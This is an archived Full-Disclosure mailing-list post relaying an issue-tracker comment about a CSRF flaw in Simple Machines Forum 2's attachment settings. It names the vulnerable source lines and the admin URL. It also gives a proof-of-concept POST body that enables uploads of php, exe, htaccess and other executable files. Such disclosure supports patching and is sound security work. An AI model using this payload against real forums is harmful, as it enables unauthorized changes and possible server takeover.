[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Re: [Full-disclosure] Issue 13 in smf2-review: Attached files configuration CSRF

Updates:
        Status: Arreglada
        Labels: -Notificar-SMF Notificar-FD

Comment #6 on issue 13 by sirdarckcat: Attached files configuration CSRF
http://code.google.com/p/smf2-review/issues/detail?id=13

Description: Attached files configuration CSRF
Discovered by: WHK@xxxxxxxxxxxx
Vulnerable code: Sources/ManageAttachments.php#117
Sources/ManageAttachments.php#162
Vulnerable URL:  
/index.php?action=admin;area=manageattachments;sa=attachments
PoC: POST:
attachmentEnable=1&attachmentExtensions=com%2Cexe%2Cphp5%2Cphp4%2Cconf%2Ccfg%2Cini%2Chtaccess%2Cphp&attachmentUploadDir=%2Fopt%2Flampp%2Fhtdocs%2Fsmf_2%2Fattachments&attachmentDirSizeLimit=10240&attachmentPostLimit=192&attachmentSizeLimit=128&attachmentNumPerPostLimit=4&attachmentShowImages=1&attachmentThumbnails=1&attachmentThumbWidth=150&attachmentThumbHeight=150


--
You received this message because you are listed in the owner
or CC fields of this issue, or because you starred this issue.
You may adjust your issue notification preferences at:
http://code.google.com/hosting/settings
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/